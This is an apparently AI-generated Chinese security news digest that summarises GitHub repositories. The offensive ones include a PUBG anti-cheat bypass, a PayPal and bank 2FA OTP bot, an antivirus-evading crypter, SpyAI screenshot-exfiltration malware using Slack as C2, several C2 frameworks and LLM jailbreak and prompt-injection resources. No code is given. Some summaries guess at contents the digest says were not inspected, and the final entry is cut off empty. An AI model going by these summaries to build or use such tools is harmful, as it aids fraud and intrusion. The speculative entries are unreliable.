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2025-06-21 18:00:01 +08:00

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安全资讯日报 2025-06-21

本文由AI自动生成，基于对安全相关仓库、CVE和最新安全研究成果的自动化分析。

更新时间：2025-06-21 17:16:23

今日资讯

🔍 漏洞分析

🔬 安全研究

🎯 威胁情报

🛠️ 安全工具

📚 最佳实践

🍉 吃瓜新闻

📌 其他

安全分析

(2025-06-21)

本文档包含 AI 对安全相关内容的自动化分析结果。概览

PUBG-Mobile-Bypass-Antiban-BRAVE-Bypass-fixed - PUBG Mobile反作弊绕过工具

📌 仓库信息

属性 详情
仓库名称 PUBG-Mobile-Bypass-Antiban-BRAVE-Bypass-fixed
风险等级 HIGH
安全类型 漏洞利用
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 5

💡 分析概述

该仓库是一个针对PUBG Mobile的反作弊绕过工具，名为Brave Bypass。它允许玩家绕过游戏的安全措施，与手机玩家进行匹配。更新内容包括了多次更新，可能涉及对绕过机制的调整以应对游戏的安全更新。考虑到这类工具的特性，其核心在于持续对抗游戏的反作弊系统，因此每一次更新都可能涉及到对绕过方法的改进，从而影响游戏的公平性。

🔍 关键发现

序号 发现内容
1 绕过PUBG Mobile的反作弊机制。
2 允许玩家与手机玩家匹配。
3 更新可能涉及到对绕过方法的改进。
4 针对游戏安全更新的持续对抗。

🛠️ 技术细节

该工具通过修改游戏客户端或注入代码来绕过反作弊系统。

具体的技术细节（如使用的绕过方法）依赖于更新内容，但本质是与游戏反作弊系统进行对抗。

更新可能包括对检测机制的规避、注入代码的修改或游戏内部数据的篡改。

🎯 受影响组件

• PUBG Mobile游戏客户端
• 游戏的反作弊系统

⚡ 价值评估

展开查看详细评估

该工具提供了绕过游戏反作弊机制的功能，直接影响游戏的公平性。持续的更新表明了开发者与游戏反作弊系统的对抗，每一次更新都可能代表对现有安全措施的规避。

Rebel-OtpBot-Twillo-Bypass-Paypal-2fa-80-Country-Usa - OTP绕过工具，针对2FA验证

📌 仓库信息

属性 详情
仓库名称 Rebel-OtpBot-Twillo-Bypass-Paypal-2fa-80-Country-Usa
风险等级 CRITICAL
安全类型 漏洞利用
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 5

💡 分析概述

该仓库是一个关于OTP绕过（One-Time Password，一次性密码）的工具，主要目标是绕过基于OTP的2FA（双因素认证）安全机制，针对Telegram、Discord、PayPal和银行等平台。本次更新内容可能包括针对特定平台的OTP绕过技术，涉及漏洞利用和工具的更新。

由于无法访问具体代码内容，无法详细分析更新细节。但根据描述，该项目旨在绕过2FA安全措施，如果成功，可能导致用户账户被盗、未经授权的交易等严重安全问题。

🔍 关键发现

序号 发现内容
1 目标是绕过基于OTP的2FA安全机制
2 针对Telegram、Discord、PayPal和银行等平台
3 可能包含漏洞利用和工具更新
4 绕过2FA可能导致账户被盗等安全问题

🛠️ 技术细节

利用OTP验证中的漏洞，例如弱OTP生成机制、短信劫持等。

可能包含自动化脚本或工具，用于模拟用户行为，绕过验证。

具体的技术实现细节取决于更新内容，可能包括新的绕过方法、payload、配置等。

🎯 受影响组件

• Telegram
• Discord
• PayPal
• 银行
• OTP验证系统

⚡ 价值评估

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该仓库专注于绕过2FA验证，直接针对安全防护机制，具备高风险性。此类工具的更新可能包含新的漏洞利用方式，对用户账户安全构成严重威胁。

jetpack-production - Jetpack插件安全更新和优化

📌 仓库信息

属性 详情
仓库名称 jetpack-production
风险等级 LOW
安全类型 安全修复/安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 2
  • 变更文件数: 12

💡 分析概述

该仓库是Jetpack插件的镜像，主要功能是提供安全、性能、营销和设计工具。本次更新主要修复了与订阅统计链接相关的问题，并进行了性能优化和代码质量改进。具体更新包括：修复了newsletter订阅统计链接在stats模块未激活时的问题、对HTML注释处理的性能优化。由于更新内容修复了安全问题和进行了性能优化，因此具有一定的价值。

🔍 关键发现

序号 发现内容
1 修复了订阅统计链接的错误问题
2 优化了HTML注释处理的性能
3 修改了多个相关文件
4 修复了newsletter订阅统计链接问题

🛠️ 技术细节

修复了订阅者统计链接的逻辑，确保在stats模块未激活时正确链接到WordPress.com

对HTML注释处理的性能进行了优化，将匿名函数提取为静态方法，减少了性能开销

🎯 受影响组件

• Jetpack插件
• newsletter-widget组件
• block-delimiter组件

⚡ 价值评估

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更新修复了订阅统计链接问题，并优化了HTML注释处理的性能，改进了代码质量，具有一定的安全和性能价值。

Security-Testing-Optimization - AI驱动的安全测试优化工具

📌 仓库信息

属性 详情
仓库名称 Security-Testing-Optimization
风险等级 LOW
安全类型 安全功能
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 4
  • 变更文件数: 3

💡 分析概述

该仓库是一个基于Python的AI驱动的安全测试优化工具，主要功能是检测Nmap和Nikto扫描日志中的异常。仓库通过提取日志中的特征，并使用Isolation Forest算法来识别异常日志条目，以辅助安全分析。本次更新主要集中在README.md文件的修改，包括功能、设置、使用说明的更新。由于该项目使用AI技术检测扫描日志异常，可以提高安全分析的效率和准确性，因此具有一定的价值。

🔍 关键发现

序号 发现内容
1 使用AI技术检测Nmap和Nikto扫描日志中的异常
2 基于Isolation Forest算法进行异常检测
3 提供CLI界面，易于扩展
4 更新了README.md文件，增加了功能和使用说明

🛠️ 技术细节

该工具使用Python实现，依赖numpy和scikit-learn库

通过提取日志特征（如行长度和安全相关关键词）进行异常检测

使用Isolation Forest算法进行异常检测，识别潜在的安全问题

更新了README.md文件，优化了说明文档

🎯 受影响组件

• Nmap
• Nikto
• Python
• scikit-learn
• numpy

⚡ 价值评估

展开查看详细评估

该项目通过AI技术对安全扫描日志进行异常检测，有助于提高安全分析的效率和准确性。尽管更新内容主要为文档修改，但完善了功能介绍和使用说明，有助于用户理解和使用该工具，因此具有一定的价值。

FridaBypassKit - Android Frida Bypass 工具

📌 仓库信息

属性 详情
仓库名称 FridaBypassKit
风险等级 MEDIUM
安全类型 安全工具
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

FridaBypassKit是一个针对Android应用的Frida脚本，旨在绕过常见的安全检测和限制。仓库提供了root检测绕过、SSL pinning绕过等功能，方便安全研究人员和渗透测试人员进行测试。本次更新主要修改了README.md文件，更新了项目的整体描述、功能介绍和徽章信息。整体来说，该项目属于安全工具，提供了绕过Android安全机制的能力。

🔍 关键发现

序号 发现内容
1 FridaBypassKit 提供Android安全检测绕过功能。
2 包括root检测、SSL pinning、模拟器检测等。
3 README.md更新了项目介绍和徽章信息。

🛠️ 技术细节

该工具基于Frida框架，通过注入脚本到目标进程来修改其行为。

通过hook Android API来实现root检测、SSL pinning等的绕过。

README.md文件增加了项目介绍和下载链接。

🎯 受影响组件

• Android Applications
• Frida

⚡ 价值评估

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该项目提供了绕过Android安全检测的功能，对于安全研究和渗透测试有实际价值。

Awesome-Active-Directory-PenTest-Tools - AD渗透测试工具集合

📌 仓库信息

属性 详情
仓库名称 Awesome-Active-Directory-PenTest-Tools
风险等级 LOW
安全类型 安全研究
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个关于Active Directory渗透测试工具的集合，主要功能包括枚举、凭证转储和Kerberos攻击等。本次更新主要修改了README.md文件，完善了对工具的介绍和链接。虽然更新内容本身没有直接的安全漏洞或利用代码，但由于其目标是渗透测试工具，且提供了相关工具的链接，有助于安全从业人员了解和使用相关工具，从而提升安全防护能力。该仓库并未提供任何POC或者漏洞利用代码，但是提供了许多有用的安全工具的链接，对于安全研究人员具有一定的参考价值。本次更新未发现任何安全漏洞或风险。

🔍 关键发现

序号 发现内容
1 提供Active Directory渗透测试工具的集合
2 包括枚举、凭证转储和Kerberos攻击工具
3 更新了README.md文件，完善工具介绍
4 仓库本身未包含漏洞利用代码，仅提供工具链接

🛠️ 技术细节

更新了README.md文件，修改了工具介绍，添加了链接。

🎯 受影响组件

• Active Directory渗透测试人员

⚡ 价值评估

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该仓库整理了Active Directory渗透测试工具，方便安全从业人员进行安全评估和渗透测试。虽然更新内容本身不包含漏洞利用，但其提供的工具链接有助于安全研究和防御。

Alien-Crypter-Crack-Source-Code-Net-Native - Crypter FUD工具，AV规避

📌 仓库信息

属性 详情
仓库名称 Alien-Crypter-Crack-Source-Code-Net-Native
风险等级 MEDIUM
安全类型 漏洞利用
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库提供了一个 Crypter FUD (Fully Undetectable) 工具的源代码，用于生成本地payload以规避防病毒软件的检测。本次更新主要集中在README.md文件的改进，包括更清晰的概述、目录结构和使用说明，以及对该工具在安全专业人员和道德黑客中的用途进行了说明。该工具旨在通过先进的加密技术和原生payload生成来绕过AV检测，但仅用于合法目的。

🔍 关键发现

序号 发现内容
1 提供 Crypter 工具源代码，用于生成规避 AV 检测的payload
2 使用先进的加密技术，旨在绕过防病毒软件
3 更新主要集中在README.md，优化说明和使用指南
4 工具主要面向安全专业人员和道德黑客

🛠️ 技术细节

Crypter工具通常包含多种加密算法和混淆技术，以隐藏payload的内容和行为

原生payload生成意味着生成的代码更接近于机器码，更难被静态分析检测

README.md的改进包括更清晰的工具介绍、目录结构和使用方法

🎯 受影响组件

• Crypter工具
• 生成的payload

⚡ 价值评估

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该工具提供了一种绕过AV检测的方法，对于安全研究人员和渗透测试人员具有一定价值。虽然仅更新了文档，但描述了关键功能和用途，以及绕过AV检测的技术原理。

LINUX-DEFENDER - Linux系统加固脚本更新

📌 仓库信息

属性 详情
仓库名称 LINUX-DEFENDER
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 5

💡 分析概述

该仓库是一个Linux系统加固脚本，主要功能包括检查rootkit、恶意软件和可疑活动，配置防火墙、杀毒软件和审计工具。更新内容增加了chkrootkit工具。README.md文件和脚本也进行了多次修改，主要集中在修复和更新文档，以及版本号的变动。这次更新增加了chkrootkit工具，用于检测rootkit。整体上，该脚本是一个针对Linux系统的安全加固工具，通过安装和配置各种安全工具来提高系统安全性。

🔍 关键发现

序号 发现内容
1 增加了chkrootkit工具
2 修复并更新了README.md文件
3 Linux系统加固脚本
4 支持多种Linux发行版

🛠️ 技术细节

增加了chkrootkit工具的调用和配置

README.md文档更新包括截图、支持说明和链接修复等

脚本版本号更新

🎯 受影响组件

• Linux系统
• chkrootkit

⚡ 价值评估

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增加了rootkit检测工具，提升了系统的安全性，属于安全功能的增强。

Server_C2 - 简易C2控制面板, 管理受控主机

📌 仓库信息

属性 详情
仓库名称 Server_C2
风险等级 MEDIUM
安全类型 安全工具
更新类型 新增功能

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 4

💡 分析概述

该仓库实现了一个简易的C2控制面板，包含登录、主机选择和命令发送功能。更新内容包括了dashboard.php, index.php, logout.php, 和 manage.php，分别用于C2面板的仪表盘、登录界面、注销和主机管理页面。虽然代码结构较为基础，但涉及到了C2的核心功能，因此具有一定的研究价值。从文件内容来看，未发现明显的安全漏洞，但由于缺少身份验证和授权机制，存在一定的安全隐患，如未经授权的访问。

🔍 关键发现

序号 发现内容
1 实现了C2的基本功能，包括登录，主机选择和命令执行。
2 代码结构简单，易于理解，适合安全研究。
3 缺少完善的身份验证和授权机制。

🛠️ 技术细节

PHP代码实现，使用Bootstrap进行前端页面布局。

使用GET方法传递主机ID

未实现命令执行功能，仅有界面展示。

🎯 受影响组件

• PHP
• Bootstrap
• Web浏览器

⚡ 价值评估

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该仓库实现了一个C2控制面板的基本功能，与C2关键词高度相关，为安全研究提供了基础，具有一定的学习和研究价值，虽然代码简单，但是可以作为C2研究的一个起点。

C2-ESGI - Python C2框架，含SSL加密

📌 仓库信息

属性 详情
仓库名称 C2-ESGI
风险等级 MEDIUM
安全类型 安全工具
更新类型 新增

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 3

💡 分析概述

该仓库实现了一个基于Python的C2框架，包含服务器端和客户端。服务器端支持注册agent、发送命令、查看命令结果等功能，客户端则负责注册、接收命令、执行命令并将结果回传。更新内容主要增加了C2服务器端和客户端的实现，以及一个用于自动配置客户端IP的脚本。仓库整体实现了C2框架的基本功能，并使用SSL/TLS加密进行安全通信。没有明显的漏洞，但代码质量有待提高。

🔍 关键发现

序号 发现内容
1 实现了C2服务器和客户端的基本功能。
2 使用SSL/TLS加密进行通信，提高安全性。
3 支持agent注册、命令发送与执行、结果回传等。
4 包含自动配置客户端IP的脚本。

🛠️ 技术细节

服务器端使用socket监听agent连接，处理agent注册、命令接收与发送。

客户端使用socket连接C2服务器，实现agent注册、命令接收与执行、结果回传。

使用JSON格式进行数据序列化。

使用SSL/TLS进行加密通信。

contact.py脚本用于自动替换client.py中的C2服务器IP地址。

🎯 受影响组件

• C2服务器
• C2客户端
• SSL/TLS
• Python socket库
• Python json库

⚡ 价值评估

展开查看详细评估

该项目实现了一个C2框架，虽然功能相对简单，但包含了C2的核心功能，并且使用了SSL/TLS加密，与搜索关键词'c2'高度相关。虽然没有高级的功能，但作为一个基础的C2框架，具有一定的学习和研究价值。

SpyAI - AI驱动的C2框架，窃取屏幕截图

📌 仓库信息

属性 详情
仓库名称 SpyAI
风险等级 HIGH
安全类型 POC更新/漏洞利用
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

SpyAI是一个恶意软件工具，它捕获整个显示器的屏幕截图，并通过Slack通道将它们发送到C2服务器，C2服务器使用GPT-4 Vision来分析这些截图，并构建每日活动。本次更新主要修改了README.md，可能涉及了配置信息和使用说明的更新。由于该项目是一个恶意软件，涉及C2通信，并且利用GPT-4 Vision进行分析，潜在的风险较高。 该项目通过截取屏幕截图并将数据外泄到C2服务器，具备信息窃取能力。该项目使用了Slack作为C2信道，增加了隐蔽性。GPT-4 Vision用于分析屏幕截图，可能用于识别敏感信息或监控用户活动。虽然此次更新只修改了README.md文档，但是考虑到该项目的功能是恶意软件，因此仍然具有安全风险。

🔍 关键发现

序号 发现内容
1 基于AI的C2框架，用于屏幕截图窃取。
2 利用Slack作为C2通信通道。
3 使用GPT-4 Vision分析截屏内容。
4 更新主要集中在README.md文件的修改。

🛠️ 技术细节

恶意软件捕获屏幕截图。

通过Slack将截图外泄到C2服务器。

C2服务器使用GPT-4 Vision进行分析。

更新了README.md文件，可能包含配置和使用说明。

🎯 受影响组件

• 受害者机器
• Slack
• GPT-4 Vision API

⚡ 价值评估

展开查看详细评估

该项目是一个恶意软件，具有信息窃取的能力，并使用了C2框架。虽然本次更新仅修改了README.md文档，但仍然值得关注。

OnionStrike - Tor C2框架，用于DDoS模拟

📌 仓库信息

属性 详情
仓库名称 OnionStrike
风险等级 MEDIUM
安全类型 安全研究
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

OnionStrike是一个基于Tor的botnet C2框架，主要用于教育目的的DDoS模拟、红队演练和暗网研究，具有丰富的终端UI和模块化设计。本次更新创建了onionstrike.py文件，其中包含联系方式。由于该仓库是C2框架，更新内容未包含安全漏洞，但与安全研究相关，因此判断其具有一定的价值。

🔍 关键发现

序号 发现内容
1 基于Tor的C2框架
2 用于DDoS模拟和红队演练
3 模块化设计和丰富的终端UI
4 本次更新创建了onionstrike.py文件

🛠️ 技术细节

onionstrike.py文件被创建，添加了联系方式。

该C2框架利用Tor网络进行隐蔽通信，可能用于恶意活动。

模块化设计允许扩展和定制，增加攻击的灵活性。

🎯 受影响组件

• Tor网络
• C2服务器
• 受控Botnet

⚡ 价值评估

展开查看详细评估

C2框架本身即与安全研究和渗透测试高度相关。虽然本次更新未涉及具体安全漏洞，但作为C2框架，它在红队演练和安全评估中具有重要作用。

C2C_Node_June-25 - C2框架 Node.js 简单服务端

📌 仓库信息

属性 详情
仓库名称 C2C_Node_June-25
风险等级 MEDIUM
安全类型 安全功能
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 2

💡 分析概述

该仓库疑似构建一个Node.js实现的C2服务端，但功能非常基础。更新内容新增了一个简单的HTTP服务器，监听3000端口。因为C2框架本身就与安全相关，即使功能简单，新增服务端也算作安全相关更新。

🔍 关键发现

序号 发现内容
1 构建一个Node.js实现的C2框架
2 新增了简单的HTTP服务器
3 功能非常基础，尚无复杂特性

🛠️ 技术细节

app.js使用Node.js的http模块创建了一个简单的HTTP服务器。

服务器监听3000端口，目前仅用于测试目的

🎯 受影响组件

• Node.js
• HTTP服务器

⚡ 价值评估

展开查看详细评估

虽然功能简单，但该仓库构建C2框架，更新涉及服务端，具有一定的安全研究价值。

llm-secret-scanner - AI驱动的Maven秘密扫描插件

📌 仓库信息

属性 详情
仓库名称 llm-secret-scanner
风险等级 LOW
安全类型 安全工具
更新类型 代码更新

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 5

💡 分析概述

该仓库是一个基于AI的Maven插件，用于在代码中检测秘密、API密钥和密码。更新内容主要涉及GitHub Actions工作流的修改，包括添加对发布JAR工件的支持和修复语法错误。仓库功能通过使用本地大语言模型进行安全扫描，提高代码安全性。没有发现已知的漏洞利用方式，但仓库本身具有AI安全研究价值。

🔍 关键发现

序号 发现内容
1 使用AI检测代码中的秘密信息
2 与Maven构建流程集成
3 支持多种本地LLM模型
4 更新改进了GitHub Actions工作流

🛠️ 技术细节

使用Java和Kotlin编写的Maven插件

通过Docker Model Runner运行本地LLM模型

GitHub Actions工作流用于构建、测试和发布

插件扫描代码库，分析源代码以识别潜在的秘密信息

🎯 受影响组件

• Maven
• Java
• Kotlin
• Docker
• LLM模型

⚡ 价值评估

展开查看详细评估

该仓库与AI Security高度相关，因为它使用AI模型来检测代码中的安全敏感信息。提供了创新的安全检测方法。虽然风险等级较低，但其独特的基于AI的安全扫描功能使其在安全研究领域具有一定的价值。

aws-security-mcp - AI驱动AWS安全分析平台

📌 仓库信息

属性 详情
仓库名称 aws-security-mcp
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 3
  • 变更文件数: 11

💡 分析概述

该仓库是一个Model Context Protocol (MCP) 服务器，用于连接AI助手（如Claude）到AWS安全服务，实现对AWS基础设施的安全问题和错误配置的自主查询、检查和分析。 此次更新主要集中在Athena查询功能的改进，允许用户在配置文件中指定Athena的默认输出位置、工作组和catalog，从而简化了查询操作。同时，更新还优化了org_tools，添加了获取账户详情的增强功能，包括获取指定账户的策略，以及对账户状态进行过滤。 更新修复了之前版本中存在的S3桶访问问题，并增强了错误处理机制，提高了系统的稳定性和用户体验。

更新内容包括：

  1. 允许用户在配置文件中配置Athena的默认输出位置，避免每次查询都需指定，提高了易用性。
  2. 在aws_security_mcp/tools/org_tools.py中，增加了获取账户详情的功能，包括获取指定账户的策略，并支持根据账户状态进行过滤。
  3. 修复了用户配置S3桶权限导致的S3桶访问问题，以及其他的一些小问题。
  4. 改进了错误处理机制，提升了系统稳定性。

更新没有直接涉及新的漏洞利用代码或POC，但通过增强账户信息获取和Athena查询功能，间接提升了安全分析能力。

🔍 关键发现

序号 发现内容
1 增强了Athena查询的配置灵活性，允许用户配置默认参数
2 改进了获取AWS账户详情的功能，支持获取策略和账户状态过滤
3 修复了S3桶访问问题，提升了系统稳定性
4 通过改进，间接提升了安全分析能力

🛠️ 技术细节

修改了aws_security_mcp/config.py，增加了Athena配置类AthenaConfig，允许用户配置默认的output_location、workgroup和catalog_name。

修改了aws_security_mcp/services/athena.py，使output_location, workgroup,和 catalog_name参数可选，并使用config中定义的默认值。

修改了aws_security_mcp/tools/athena_tools.py和aws_security_mcp/tools/wrappers/athena_wrapper.py，更新了execute_athena_query函数的参数，使output_location参数可选。

在aws_security_mcp/tools/org_tools.py中增加了account_id, account_ids, include_policies, status_filter等参数，允许获取账号详细信息的同时获取account的策略，并根据状态过滤账户。

🎯 受影响组件

• aws_security_mcp/config.py
• aws_security_mcp/services/athena.py
• aws_security_mcp/tools/athena_tools.py
• aws_security_mcp/tools/wrappers/athena_wrapper.py
• aws_security_mcp/tools/org_tools.py

⚡ 价值评估

展开查看详细评估

该更新增强了系统功能，提升了安全分析能力和用户体验。 改进Athena查询配置和账户信息获取，使其更容易执行安全相关的任务，提高了平台的使用价值。虽然没有直接的漏洞修复或POC，但对安全研究人员具有一定的价值。

LLM-Attack-Prompt - LLM攻击技术与Prompt研究

📌 仓库信息

属性 详情
仓库名称 LLM-Attack-Prompt
风险等级 MEDIUM
安全类型 安全研究
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是关于LLM攻击技术的综合资源库，专注于大型语言模型（LLM）的攻击，包括越狱、Prompt泄露和Prompt注入等。本次更新修改了README.md文件，增加了仓库介绍、功能特性、涵盖的主题、入门指南、使用方法、贡献指南以及版本发布等内容，旨在为研究人员和开发人员提供更全面的理解LLM安全机制的资源。

🔍 关键发现

序号 发现内容
1 仓库专注于LLM攻击技术，包括越狱、Prompt泄露和注入。
2 提供全面的资源，帮助研究人员理解和探索LLM的脆弱性。
3 更新内容主要为README.md，改进了仓库的介绍和组织结构。

🛠️ 技术细节

更新README.md文件，修改了仓库的介绍，添加了功能特性、主题涵盖、入门指南、使用方法、贡献指南以及版本发布等内容。

提供了LLM攻击技术的综述，为研究人员提供了参考。

🎯 受影响组件

• 大型语言模型（LLM）

⚡ 价值评估

展开查看详细评估

该仓库提供了LLM攻击技术的相关资源，对于安全研究人员和开发人员来说，可以帮助他们了解LLM的脆弱性，并提升对LLM安全机制的理解。

oss-fuzz-gen - LLM辅助的Fuzzing框架

📌 仓库信息

属性 详情
仓库名称 oss-fuzz-gen
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 2
  • 变更文件数: 10

💡 分析概述

该仓库是Google开发的基于LLM的Fuzzing框架，用于提升OSS-Fuzz的效率。更新内容主要集中在改进上下文信息检索和Prompt构建，以提高LLM生成Fuzzing Harness的准确性。具体包括：1. 修复类型定义提取代码；2. 增加了测试用例的交叉引用(XREF)，允许LLM参考现有的测试用例，从而生成更有效的fuzzing harness。 这些改进有助于提高Fuzzing的覆盖率和效率，对安全测试具有重要意义。

🔍 关键发现

序号 发现内容
1 基于LLM的Fuzzing框架
2 改进上下文信息检索，提高Fuzzing准确性
3 增加测试用例的交叉引用(XREF)
4 提升Fuzzing覆盖率和效率

🛠️ 技术细节

修复了数据准备阶段类型定义提取代码的错误，保证类型信息的准确性

修改了context_introspector.py，添加了_get_test_xrefs_to_function()函数，用于检索调用目标函数的测试用例，并将测试用例的XREF信息传递给LLM

修改了prompt_builder.py，在format_context函数中添加了tests_xrefs，将测试用例的XREF信息格式化到prompt中

修改了prompts/template_xml/context.txt，添加了对tests_xrefs的引用，以便在prompt中使用测试用例的XREF信息

🎯 受影响组件

• data_prep/introspector.py
• data_prep/project_context/context_introspector.py
• llm_toolkit/prompt_builder.py
• prompts/template_xml/context.txt

⚡ 价值评估

展开查看详细评估

该更新增强了LLM辅助的Fuzzing能力，通过引入测试用例的XREF信息，能够提高Fuzzing的有效性，从而有助于发现潜在的安全漏洞。

meta-ai-bug-bounty - Instagram Group Chat漏洞报告

📌 仓库信息

属性 详情
仓库名称 meta-ai-bug-bounty
风险等级 HIGH
安全类型 漏洞利用
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个针对Meta AI Instagram群聊功能的漏洞报告。本次更新主要更新了README.md文档，详细介绍了prompt注入和命令执行漏洞的发现、方法论和影响。 仓库整体聚焦于Instagram群聊中的安全漏洞，特别是prompt注入和命令执行。

🔍 关键发现

序号 发现内容
1 报告详细描述了Meta AI Instagram群聊中的漏洞。
2 重点关注prompt注入和命令执行两种类型的漏洞。
3 提供了漏洞发现的方法论和影响分析。
4 更新了README.md文档, 增加了详细的漏洞描述。

🛠️ 技术细节

该项目详细研究了Instagram群聊中的安全漏洞，包括prompt注入和命令执行。 其中，prompt注入可能允许攻击者控制AI的行为，而命令执行则可能导致更严重的安全风险。

文档中详细说明了如何发现和利用这些漏洞，以及潜在的危害。

🎯 受影响组件

• Meta AI
• Instagram Group Chat

⚡ 价值评估

展开查看详细评估

该仓库报告了Instagram群聊中prompt注入和命令执行漏洞，这些漏洞可能导致严重的安全风险。 详细的漏洞描述和分析，对安全研究和漏洞挖掘具有重要参考价值

AIL-framework - AIL框架IP关联和SSH密钥分析

📌 仓库信息

属性 详情
仓库名称 AIL-framework
风险等级 LOW
安全类型 安全修复
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 4

💡 分析概述

AIL框架是一个用于分析信息泄露的框架，本次更新主要修复了IP关联和SSH密钥相关的bug，改进了IP关联的逻辑，并修复了SSH密钥处理的相关问题。此次更新对安全分析和情报收集有所改进。

🔍 关键发现

序号 发现内容
1 修复IP关联问题，改进关联逻辑
2 修复了SSH密钥处理相关的bug
3 更新提升了情报分析能力

🛠️ 技术细节

修改了bin/lib/ail_core.py和bin/lib/objects/SSHKeys.py文件。

更新修复了IP关联逻辑，将IP添加到默认关联列表。

修复了SSH密钥关联时获取IP的逻辑。

🎯 受影响组件

• AIL框架核心组件
• SSH密钥处理模块

⚡ 价值评估

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修复了IP关联和SSH密钥相关的问题，提升了AIL框架的情报分析能力，对安全分析有一定价值。

malwi - AI恶意软件扫描器更新

📌 仓库信息

属性 详情
仓库名称 malwi
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 5

💡 分析概述

该仓库是一个基于AI的恶意软件扫描器，本次更新主要集中在对网络相关token的归类调整，以及对一些依赖文件的修改，并且修改了SVM模型的初始化方法。 此次更新修改了多个与网络相关的token的分类，将NETWORKING修改为NETWORK_ACCESS，并更新了function_mapping.json和import_mapping.json文件，这表明了对网络行为分析的更细粒度的划分。同时，修改了predict_svm_layer.py中的initialize_xgboost_model为initialize_svm_model，修复了之前的潜在问题。 这些更改有助于提高恶意软件检测的准确性和效率，尤其是针对涉及网络活动的恶意软件。

🔍 关键发现

序号 发现内容
1 修改网络相关token的分类，提高网络行为分析的精确度。
2 更新了function_mapping.json和import_mapping.json文件，细化网络行为分析。
3 修复了SVM模型初始化的问题。

🛠️ 技术细节

修改src/research/syntax_mapping/function_mapping.json将socket相关的token映射到NETWORK_ACCESS。

修改src/research/syntax_mapping/import_mapping.json将相关的导入模块映射到NETWORK_ACCESS。

修改src/research/predict_svm_layer.py，将initialize_xgboost_model改为initialize_svm_model。

修改src/research/syntax_mapping/special_tokens.json添加NETWORK_ACCESS。

🎯 受影响组件

• 恶意软件扫描器
• AI模型
• token分类器

⚡ 价值评估

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更新了网络相关的token分类，完善了AI恶意软件检测系统，增强了对网络行为分析的准确性。

evocloud-paas - EvoCloud安全平台，修复 Ansible 配置

📌 仓库信息

属性 详情
仓库名称 evocloud-paas
风险等级 MEDIUM
安全类型 安全修复
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 2

💡 分析概述

EvoCloud是一个云原生平台，专注于安全、AI工作负载和自主操作。本次更新修复了Ansible配置复制相关的bug。 具体来说，更新修改了 Ansible 配置文件的复制方式，将 ansible.cfg 复制到 /etc/ansible 目录下，并增加了删除临时目录的步骤。修复了之前可能存在的配置错误问题。由于是配置文件的复制，虽然没有直接的漏洞利用，但是可以避免因为配置错误导致的安全问题。

🔍 关键发现

序号 发现内容
1 修复 Ansible 配置复制相关的 bug
2 修改了 ansible.cfg 的复制方式
3 增加了删除临时目录的步骤
4 修复可能存在的配置错误问题

🛠️ 技术细节

修改了 Ansible 角色，复制 ansible.cfg 到 /etc/ansible。

修改了 Ansible 角色，删除了 /tmp/ansible.cfg。

增加了cloud_user变量到ansible vars file

🎯 受影响组件

• Ansible
• app-ansible

⚡ 价值评估

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修复了Ansible配置的错误，提升了安全性。

AI-Security - AI安全领域的实验代码

📌 仓库信息

属性 详情
仓库名称 AI-Security
风险等级 LOW
安全类型 安全研究
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 3
  • 变更文件数: 2

💡 分析概述

该仓库似乎是一个AI安全相关的实验项目，包含了使用TensorFlow处理MNIST数据集的代码以及将pcap文件转换为图像的代码。本次更新新增了TensorFlow模型训练的代码(Tensor-Flow.py) 以及将pcap文件转换为图像的代码(trafic-red-visual.py)，这些代码尝试将网络流量数据可视化并用于机器学习。由于其应用场景，该项目具有一定的安全研究价值，特别是在网络流量分析和异常检测方面。没有发现直接的安全漏洞利用代码，但此类项目可能被用于安全研究。

🔍 关键发现

序号 发现内容
1 实现了使用TensorFlow处理MNIST数据集的代码
2 提供了将pcap文件转换为图像的代码
3 代码可能用于网络流量分析和异常检测

🛠️ 技术细节

TensorFlow.py: 使用TensorFlow加载MNIST数据集，定义了一个简单的神经网络模型，并进行训练。

trafic-red-visual.py: 从pcap文件中提取数据，将其转换为图像，用于可视化和可能的机器学习分析。

🎯 受影响组件

• TensorFlow
• MNIST数据集
• 网络流量数据

⚡ 价值评估

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该项目包含了AI安全相关的代码，包括机器学习模型的训练和网络流量数据的处理。尽管本次更新并未直接涉及漏洞利用，但此类项目可能用于安全研究，特别是网络流量分析，具备一定的研究价值。

inktrace - AI Agent安全平台，含监控C2

📌 仓库信息

属性 详情
仓库名称 inktrace
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 7

💡 分析概述

